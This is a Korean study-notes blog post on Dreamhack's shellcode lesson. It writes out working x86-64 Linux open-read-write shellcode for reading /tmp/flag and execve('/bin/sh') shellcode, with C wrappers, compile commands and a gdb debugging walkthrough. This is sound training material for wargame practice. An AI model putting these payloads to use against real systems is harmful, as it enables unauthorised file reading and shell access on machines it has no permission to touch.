๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐Ÿ’ ๋ณด์•ˆ·์ทจ์•ฝ์ /๐Ÿ”ธ์‹œ์Šคํ…œ·์šด์˜์ฒด์ œ

[dreamhack] Exploit Tech: Shellcode

by Jenny:! 2023. 7. 13.

1. ์„œ๋ก 

์ต์Šคํ”Œ๋กœ์ž‡

์ƒ๋Œ€ ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒƒ

 

์…ธ์ฝ”๋“œ(Shellcode)

์ต์Šคํ”Œ๋กœ์ž‡์„ ์œ„ํ•ด ์ œ์ž‘๋œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ ์กฐ๊ฐ

์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ๊ตฌ์„ฑ๋˜๋ฏ€๋กœ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ๋Œ€์ƒ ์•„ํ‚คํ…์ฒ˜์™€ OS์— ๋”ฐ๋ผ ๋‹ค๋ฅด๊ฒŒ ์ž‘์„ฑ๋œ๋‹ค.

 

 

2. orw ์…ธ์ฝ”๋“œ

orw ์…ธ์ฝ”๋“œ๋Š” ํŒŒ์ผ์„ ์—ด๊ณ , ์ฝ์–ด์„œ ํ™”๋ฉด์— ์ถœ๋ ฅํ•ด์ค€๋‹ค.

 

 

/

 2.1. “/tmp/flag”๋ฅผ ์ฝ๋Š” orw ์…ธ์ฝ”๋“œ ์ž‘์„ฑํ•ด ๋ณด๊ธฐ

 

 

c ์ฝ”๋“œ๋กœ ํ‘œํ˜„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

 

์•Œ์•„์•ผ ํ•˜๋Š” syscall์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 

int fd = open(“/tmp/flag”, O_RDONLY, NULL)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
open 0x02 const char *filename int flags umode_t mode

 

์šฐ์„  "/tmp/flag"๋ผ๋Š” ๋ฌธ์ž์—ด์„ ๋ฉ”๋ชจ๋ฆฌ์— ์œ„์น˜์‹œ์ผœ์•ผ ํ•œ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ์Šคํƒ์— 0x616c662f706d742f67(/tmp/flag)๋ฅผ pushํ•˜์—ฌ ์œ„์น˜์‹œํ‚ฌ ๊ฒƒ์ด๋‹ค. ์Šคํƒ์—๋Š” 8๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ๋งŒ ๊ฐ’์„ pushํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ 0x67๋ฅผ ๋จผ์ € pushํ•œ ๋’ค์— 0x616c662f706d742f๋ฅผ pushํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  rdi๊ฐ€ ์ด๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก rsp๋ฅผ rdi๋กœ ์˜ฎ๊ธด๋‹ค.

 

//

a l f / p m t / g

0x67์€ 1๋ฐ”์ดํŠธ(8๋น„ํŠธ)

 


O_RDONLY๋Š” 0์ด๋ฏ€๋กœ, rsi๋Š” 0์œผ๋กœ ์„ค์ •ํ•œ๋‹ค.

 

ํŒŒ์ผ์„ ์ฝ์„ ๋•Œ, mode๋Š” ์˜๋ฏธ๋ฅผ ๊ฐ–์ง€ ์•Š์œผ๋ฏ€๋กœ rdx๋Š” 0์œผ๋กœ ์„ค์ •ํ•œ๋‹ค.

 

rax๋ฅผ open์˜ syscall ๊ฐ’์ธ 2๋กœ ์„ค์ •ํ•œ๋‹ค.

 

๊ตฌํ˜„

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

 

//

์ž๊ธฐ ์ž์‹ ๊ณผ์˜ xor ์—ฐ์‚ฐ์€ ํ•ญ์ƒ 0

 

 

read(fd, buf, 0x30)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count

 

syscall์˜ ๋ฐ˜ํ™˜ ๊ฐ’์€ rax๋กœ ์ €์žฅ๋œ๋‹ค. ๋”ฐ๋ผ์„œ open์˜ ๋ฆฌํ„ด ํŒŒ์ผ์ธ /tmp/flag์˜ fd๋Š” rax์— ์ €์žฅ๋œ๋‹ค. 

read์˜ ์ฒซ ๋ฒˆ์งธ ์ธ์ž๋ฅผ ์ด ๊ฐ’์œผ๋กœ ์„ค์ •ํ•ด์•ผ ํ•˜๋ฏ€๋กœ rax๋ฅผ rdi์— ๋Œ€์ž…ํ•œ๋‹ค.

 

rsi๋Š” ํŒŒ์ผ์—์„œ ์ฝ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•  ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค. 0x30๋งŒํผ ์ฝ์„ ๊ฒƒ์ด๋ฏ€๋กœ, rsi์— 'rsp-0x30'์„ ๋Œ€์ž…ํ•œ๋‹ค

 

rdx๋Š” ํŒŒ์ผ๋กœ๋ถ€ํ„ฐ ์ฝ์–ด๋‚ผ ๋ฐ์ดํ„ฐ์˜ ๊ธธ์ด์ธ 0x30์œผ๋กœ ์„ค์ •ํ•œ๋‹ค.

 

read ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ rax๋ฅผ 0์œผ๋กœ ์„ค์ •ํ•œ๋‹ค.

 

๊ตฌํ˜„

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

 

write(1, buf, 0x30)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
write 0x01 unsigned int fd const char *buf size_t count

 

์ถœ๋ ฅ์€ stdout์œผ๋กœ ํ•  ๊ฒƒ์ด๋ฏ€๋กœ, rdi๋ฅผ 0x1๋กœ ์„ค์ •ํ•œ๋‹ค.

 

rsi์™€ rdx๋Š” read์—์„œ ์‚ฌ์šฉํ•œ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉํ•œ๋‹ค.

 

write ์‹œ์Šคํ…œ์ฝœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ rax๋ฅผ 1๋กœ ์„ค์ •ํ•œ๋‹ค.

 

๊ตฌํ˜„

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

 

์ข…ํ•ฉํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

 

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

orw ์…ธ์ฝ”๋“œ ์ปดํŒŒ์ผ ๋ฐ ์‹คํ–‰

์œˆ๋„์šฐ์˜ PE, ๋ฆฌ๋ˆ…์Šค์˜ ELF์ฒ˜๋Ÿผ ๋Œ€๋ถ€๋ถ„์˜ OS๋Š” ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ์˜ ํ˜•์‹์„ ๊ทœ์ •ํ•˜๊ณ  ์žˆ๋‹ค.

 

์œ„์—์„œ ๊ตฌํ˜„ํ•œ ์…ธ์ฝ”๋“œ orw.S๋Š” ์•„์Šคํ‚ค๋กœ ์ž‘์„ฑ๋œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ์ด๋ฏ€๋กœ

gcc ์ปดํŒŒ์ผ์„ ํ†ตํ•œ ELF ํ˜•์‹์œผ๋กœ์˜ ๋ณ€ํ™˜์ด ํ•„์š”ํ•˜๋‹ค.

 

์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ์— ์•ž์— ์ž‘์„ฑํ•œ ์…ธ์ฝ”๋“œ๋ฅผ ์ฑ„์šด๋‹ค.

 

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }

 

 

์…ธ์ฝ”๋“œ๊ฐ€ ์‹ค์ œ๋กœ ์ž‘๋™ํ•จ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด /tmp/flag ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค.

echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag

 

 

orw.c๋ฅผ ์ปดํŒŒ์ผํ•˜๊ณ , ์‹คํ–‰ํ•œ๋‹ค.

$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}

 

 

์…ธ์ฝ”๋“œ ์‹คํ–‰์ด ์„ฑ๊ณตํ•˜๋ฉด, ์ €์žฅํ•œ ๋ฌธ์ž์—ด์ด ์ถœ๋ ฅ๋œ๋‹ค.

 

 

์—ฌ๊ธฐ์„œ /tmp/flag์˜ ๋ฌธ์ž์—ด ์ด์™ธ์— ์•Œ ์ˆ˜ ์—†๋Š” ๋ฌธ์ž์—ด๋“ค์ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค.

์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š์€ ๊ฐ€๋น„์ง€ ๊ฐ’์ด ์ถœ๋ ฅ๋œ ๊ฒƒ์ด๋‹ค.

์ด๋Ÿฐ ๊ฒฝ์šฐ ๋””๋ฒ„๊น…์„ ํ†ตํ•ด ์…ธ ์ฝ”๋“œ์˜ ๋™์ž‘์„ ์•Œ์•„๋ด์•ผ ํ•œ๋‹ค.

 

 

/

2.2. orw ์…ธ์ฝ”๋“œ ๋””๋ฒ„๊น…

 

gdb๋กœ orw๋ฅผ ์—ด๊ณ , run_sh()์— ๋ธŒ๋ ˆ์ดํฌ ํฌ์ธํŠธ๋ฅผ ์„ค์ •ํ•œ๋‹ค.

 

$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129

 

No such file or directory ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜์˜€๋‹ค.

sudo apt-get install libc6-i386 lib32gcc1

 

์œ„์˜ ์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•ด์ฃผ๋ฉด

lib32gcc1 ํŒจํ‚ค์ง€๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋‹ค๋Š” ๋ฌธ๊ตฌ๊ฐ€ ๋œจ๋Š”๋ฐ,

 

 

๊ทธ๋ž˜๋„ ์ด์ œ ํŒŒ์ผ์ด ์—ด๋ฆฐ๋‹ค.

 

 

r์„ ์ž…๋ ฅํ•ด bp ์ „๊นŒ์ง€์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ค์ž.

์ž‘์„ฑํ•œ ์…ธ ์ฝ”๋“œ์— rip๊ฐ€ ์œ„์น˜ํ•œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

 

int fd = open("/tmp/flag",O_RDONLY, NULL)

DISASM์—์„œ ์ฒซ ๋ฒˆ์งธ syscall์ด ์œ„์น˜ํ•œ run_sh+29์— bp๋ฅผ ์„ค์ •ํ•œ ๋’ค,

ํ•ด๋‹น ์‹œ์ ์— syscall์— ๋“ค์–ด๊ฐ€๋Š” ์ธ์ž๋ฅผ ํ™•์ธํ•ด๋ณด์ž.

 

 

ni๋กœ syscall์„ ์‹คํ–‰ํ•˜๊ณ  ๋‚˜๋ฉด,

/tmp/flag์˜ fd(3)์ด rax์— ์ €์žฅ๋œ๋‹ค.

 

 

read(fd, buf, 0x30)

๋‘ ๋ฒˆ์งธ syscall์ธ run_sh+55์— bp๋ฅผ ์„ค์ •ํ•œ ๋’ค, ๊ณ„์† ์‹คํ–‰ํ•œ๋‹ค.

 

์ƒˆ๋กœ ํ• ๋‹น๋œ fd(3)์—์„œ 0x30๋ฐ”์ดํŠธ๋งŒํผ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์–ด์™€ 0x7fffffffdfd8์— ์ €์žฅํ•œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

ni๋กœ syscall์„ ์‹คํ–‰ํ•˜๋ฉด,

ํŒŒ์ผ์˜ ๋ฌธ์ž์—ด์ด 0x7fffffffdfd8์— ์ €์žฅ๋˜์—ˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

x/s 0xfffffffdfd8 ๋ช…๋ น์–ด๋กœ๋„ ํ™•์ธ ๊ฐ€๋Šฅํ•˜๋‹ค.

 

 

 

 

write(1, buf, 0x30)

 

ni๋กœ ๊ณ„์† ์‹คํ–‰ํ•˜๋ฉด, ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•œ 0xfffffffdfd8์—์„œ ๋ฌธ์ž์—ด์ด ์ถœ๋ ฅ๋œ๋‹ค.

 

 

 

/

uninitialized memory

 

๊ฐ€๋น„์ง€ ๊ฐ’์ด ํ•จ๊ป˜ ์ถœ๋ ฅ๋˜์—ˆ๋‹ค๋ฉด, ํŒŒ์ผ์—์„œ ๊ฐ’์„ ์ฝ์–ด์˜ฌ ๋•Œ์˜ ๋ฌธ์ œ์ผ ์ˆ˜ ์žˆ๋‹ค.

read syscall์„ ์‹คํ–‰ํ•œ ์งํ›„๋ฅผ ์‚ดํ•€๋‹ค.

 

ํŒŒ์ผ์„ ์ฝ์–ด์„œ ์Šคํƒ์— ์ €์žฅํ–ˆ๋‹ค.

์Šคํƒ์„ ์‚ดํ”ผ์ž.

 

 

 

x/6gx 0xfffffffdfd8 ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ๋ฌธ์ž์—ด ์™ธ์˜ ๋„ ๋ฐ”์ดํŠธ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. 

๊ทธ๊ณณ์— ๊ฐ€๋น„์ง€ ๊ฐ’์ด ๋“ค์–ด์žˆ๋˜ ๊ฒฝ์šฐ์ผ ๊ฒƒ์ด๋‹ค.

 

 

 

 

 

3. execve ์…ธ ์ฝ”๋“œ

 

execve ์…ธ์ฝ”๋“œ๋Š” execve ์‹œ์Šคํ…œ ์ฝœ๋งŒ์œผ๋กœ ๊ตฌ์„ฑ๋œ๋‹ค.

์‹œ์Šคํ…œ ์ฝœ์˜ ์ข…๋ฅ˜๋Š” rax๋กœ ์ง€์นญํ•˜๊ณ , execve

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

ํŒŒ์ผ ์ง€์ •์ž ๋ฒˆํ˜ธ 0 : stdin, 1 : stdout, 2 : stderr

argv : ์‹คํ–‰ํŒŒ์ผ์— ๋„˜๊ฒจ์ค„ ์ธ์ž

envp : ํ™˜๊ฒฝ๋ณ€์ˆ˜

 

 

์ง€๊ธˆ์€ sh๋งŒ ์‹คํ–‰ํ•˜๋ฉด ๋˜๋ฏ€๋กœ ๋‚˜๋จธ์ง€ ๊ฐ’๋“ค์€ null๋กœ ์„ค์ •ํ•ด๋„ ์ƒ๊ด€ ์—†๋‹ค.

๋ฆฌ๋ˆ…์Šค์˜ ๊ธฐ๋ณธ ์‹คํ–‰ ํ”„๋กœ๊ทธ๋žจ๋“ค์€ /bin/ ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅ๋˜์–ด ์žˆ์œผ๋ฉฐ, sh๋„ ๋ฌผ๋ก  ์—ฌ๊ธฐ์— ์žˆ๋‹ค.

 

 

๋”ฐ๋ผ์„œ execve("/bin/sh", null, null)์„ ์‹คํ–‰ํ•˜๋Š” ์…ธ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์ž.

 

;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

 

์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•˜์—ฌ execve ์…ธ ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผํ•˜์ž.

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }